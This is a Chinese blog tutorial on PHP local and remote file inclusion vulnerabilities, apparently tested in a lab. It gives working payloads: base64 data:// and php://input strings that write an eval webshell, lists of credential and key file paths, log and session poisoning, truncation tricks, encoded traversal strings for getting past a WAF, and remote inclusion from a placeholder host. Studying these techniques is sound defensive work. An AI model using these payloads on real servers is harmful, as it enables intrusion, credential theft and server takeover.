文件包含漏洞
John_Frod Lv4

文件包含总结


概念

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这样能够避免了同一个功能重复造轮子,减少了重复代码量,减少了开发时间,提高效率,总之,文件包含是一个十分有用的功能。文件包含漏洞是利用文件包含的函数进行攻击,引入设计者非预期的文件。文件包含又分为本地文件包含和远程文件包含。

原理

当PHP函数引入文件时,由于传入的文件名没有经过合理的检验,从而引入了非预期的文件,这就造成了文件包含漏洞。

对于PHP而言,文件包含的函数有:

  • include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
  • include_once() 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
  • require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
  • require_once() 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

当使用这四个函数包含一个新文件时,该文件将作为PHP代码执行,php内核并不在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程url、也都将作为PHP代码执行。这一特性,在实施攻击时非常有用。

example:

1
2
3
<?php
include($_GET[test]);
?>

这个php文件没有对传入的参数做任何过滤就引入到include()函数中,造成文件包含漏洞。

image-20210407163727956

条件

要想成功利用文件包含漏洞,需要满足下面两个条件:

  1. include()等函数通过动态变量的方式引入需要包含的文件;
  2. 用户能控制该动态变量。

危害

文件包含不仅仅能够查看服务器上的文件,通过远程包含或者结合文件上传漏洞,包含恶意文件从而达到控制服务器的目的。


远程文件包含

远程文件包含(Remote File Inclusion, RFI)是指包含远程服务器上的文件。这需要PHP的配置文件中allow_url_include设为ON

image-20210407170933409

从这里可以看出,攻击者可以利用自己的服务器上的恶意文件,然靶机的文件包含这个恶意文件来上传 Webshell 。


本地文件包含

本地文件包含(Local File Inclusion,LFI)是指打开包含本地系统的文件。

本地文件包含的利用方式虽然不像远程文件包含那样能随意执行文件,但是也有几种常用的利用方式。


查看本地文件

查看本地文件是本地文件包含最基础的一种利用方式,概念中的example就是一个典型的利用本地文件包含查看文件内容。以下是一些敏感文件的路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

php伪协议

file://协议

allow_url_fopen=On/Off、allow_url_include=On/Off

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件

1
file:// [文件的绝对路径和文件名]

example:

1
http://192.168.91.134/include.php?test=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.php

image-20210408164938282


php://协议

1
2
php://input
php://filter

php://input用于执行PHP代码,php://filter用于读取源码。

php://filter

php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include。

1
?file=php://filter/convert.base64-encode/resource=xxx.php

example:

1
?test=php://filter/convert.base64-encode/resource=include.php

image-20210407201549097

base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码。

php://input

allow_url_include=On

php://input协议主要用于访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),当enctype="multipart/form-data"的时候 php://input是无效的。

1
?file=php://input 数据利用POST传过去

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据。

example:

1
2
3
4
5
6
?include=php://input

POST数据:
<?php phpinfo()?>
#或者直接一句话木马也行
<?php echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));?>

值得一提的是,这里使用HackBar POST数据的时候需要选择(raw),否者参数后面的内容会进行URL编码,导致了后端无法识别;而且需要给一个参数名字(任意),不能直接发送内容。

image-20210408100407478


data://协议

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。

allow_url_include=On、allow_url_fopen=On

php版本 ≥ 5.2

1
2
3
4
5
6
7
?file=data://text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo()?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==
#最后一个URL使用file_put_contents()函数将<?php eval($_POST['cc'])?>写到了test.php文件当中

example:

1
http://192.168.91.149/include.php?test=data://text/plain,<?php phpinfo()?>

image-20210408115525460


phar://协议

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下方式进行利用。

php版本 ≥ 5.3

利用方式:写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php

example:

假设有个上传文件地方,我们把文件phpinfo.txt压缩为phpinfo.zip,上传到服务器中

1
http://192.168.91.134/include.php?test=phar://phpinfo.zip/phpinfo.txt

image-20210408120545219

这里使用了相对路径,当然知道绝对路径也可使使用绝对路径。


zip://, bzip2://, zlib://协议

3个封装协议,都是直接打开压缩文件。

  • compress.zlib://file.gz - 处理的是 ‘.gz’ 后缀的压缩包
  • compress.bzip2://file.bz2 - 处理的是 ‘.bz2’ 后缀的压缩包
  • zip://archive.zip#dir/file.txt - 处理的是 ‘.zip’ 后缀的压缩包里的文件

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

allow_url_fopen=on/off、allow_url_include=on/off

php 版本大于等于 php5.3.0

zip://协议
1
2
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
zip://archive.zip#dir/file.txt

要用绝对路径+url编码#%23

example:

1
http://192.168.91.134/include.php?test=zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt

image-20210408161358687

bzip2://协议
1
compress.bzip2://file.bz2

绝对/相对路径都可以

example:

1
http://192.168.91.134/include.php?test=compress.bzip2://D:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

image-20210408162303373

zlib://协议
1
compress.zlib://file.bz2

绝对/相对路径都可以

example:

1
http://192.168.91.134/include.php?test=compress.zlib://phpinfo.gz

image-20210408164318892

小结

图片.png


包含Session文件

Session文件路径已知,且其中内容的部分可控。

首先第一个条件:Session的文件路径可以在php.ini中的session.save_handler字段查看到:

image-20210408165154558

一般而言,session文件的存放位置为:

  • /var/lib/php/sess_PHPSESSID
  • /var/lib/php/sessions/sess_PHPSESSID
  • /tmp/sess_PHPSESSID
  • /tmp/sessions/sess_PHPSESSID

第二个条件:内容可控,这个要求较为苛刻,有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。如通过session.upload_progress来控制session的内容。

example:

session.upload_progress利用


包含日志文件

前提条件:要知道服务器日志的存储路径,且日志文件可读。

服务器一般回在Web Server的access_log里记录客户端的请求信息,在error_log里记录出错信息。所以攻击者可以间接地将PHP代码写入日志文件,在文件包含时,只需要包含日志文件即可。

但如果是直接发起请求,会导致一些符号被编码使得包含无法正确解析。可以使用burp截包后修改。

image-20210408170606442

正常的PHP代码已经写入了 D:\phpStudy\PHPTutorial\Apache\logs\error.log。然后进行包含即可。

image-20210408171246817

1
http://192.168.91.134/include.php?test=D:\phpStudy\PHPTutorial\Apache\logs\error.log

image-20210408171218518


包含SSH log

条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

example:

用ssh连接:

1
ssh <?php phpinfo();?>@192.168.91.149

这是在服务器上的auth.log文件上就会记录下如下内容:

image-20210408213533633

再进行文件包含即可:

image-20210408213444503


包含environ

proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。

条件:

  1. php以cgi方式运行,这样environ才会保持UA头。
  2. environ文件存储位置已知,且environ文件可读。
1
?file=../../../../../../../proc/self/environ

在访问的时候抓包把user-agent修改为<?php phpinfo();?>即可。

这个没有尝试成功,这一个文件似乎没有user-agent???


包含临时文件

以上这些方法都要求PHP能过包含这些不处于Web目录下的文件,如果PHP设置了open_basedir,则很可能会使得攻击失效。

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用条件竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535种不同的文件名,所以这个方法是可行的。

img

或者利用phpinfo能查看临时文件名字的方法去进行利用:

PHP LFI 利用临时文件 Getshell 姿势

PHP文件包含漏洞(利用phpinfo)


绕过方式

00字符截断

PHP版本<=5.3.4

magic_quotes_gpc = Off

1
file=../../etc/passwd%00

example:

1
2
3
<?php
include($_GET['a'].'.php')
?>

这里固定了后缀名为php,可以使用截断的方式来访问我们想要的文件。

1
?a=info.php%00

%00 会被解析为0x00,所以导致截断的发生 我们通过截断成功的绕过了后缀限制


路径长度截断

php版本小于5.3.10

文件路径有长度限制,目录字符串在Windows下256字节、Linux下4096字节时,会达到最大值,最大值之后的字符被丢弃。

1
2
3
././././././././././././abc..........
//////////////////abc.........
../1/abc../1/abc../1/abc........

就是在后面接很多个.,让后面的后缀抛弃掉。


目录遍历

可以使用../../../这样的方式来返回到上层目录中,这种方式又被称为”**目录遍历(Path Traversal)**”。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF) :

1
2
3
4
5
6
7
8
%2e%2e%2f    ->    ../
%2e%2e/ -> ../
..%2f -> ../
%2e%2e%5c -> ..\
%2e%2e%\ -> ..\
..%5c -> ..\
%252e%252e%255c -> ..\
..%255c -> ..\

URL绕过

假设服务器后端给我们传入的文件加了指定的后面的内容,可以使用以下的方法进行绕过,假设后端给传入的内容拼接上/test/test.php

query(?)

1
?file=http://remoteaddr/remoteinfo.txt? 

则包含的文件为 http://remoteaddr/remoteinfo.txt?/test/test.php

问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过。

fragment(#)

1
?file=http://remoteaddr/remoteinfo.txt%23

则包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php

问号后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。注意需要把#进行url编码为%23


参考资料

Web安全学习之文件包含漏洞利用

文件包含漏洞与PHP伪协议

php文件包含漏洞

  • Post title:文件包含漏洞
  • Post author:John_Frod
  • Create time:2021-04-09 21:53:31
  • Post link:https://keep.xpoet.cn/2021/04/09/文件包含漏洞/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.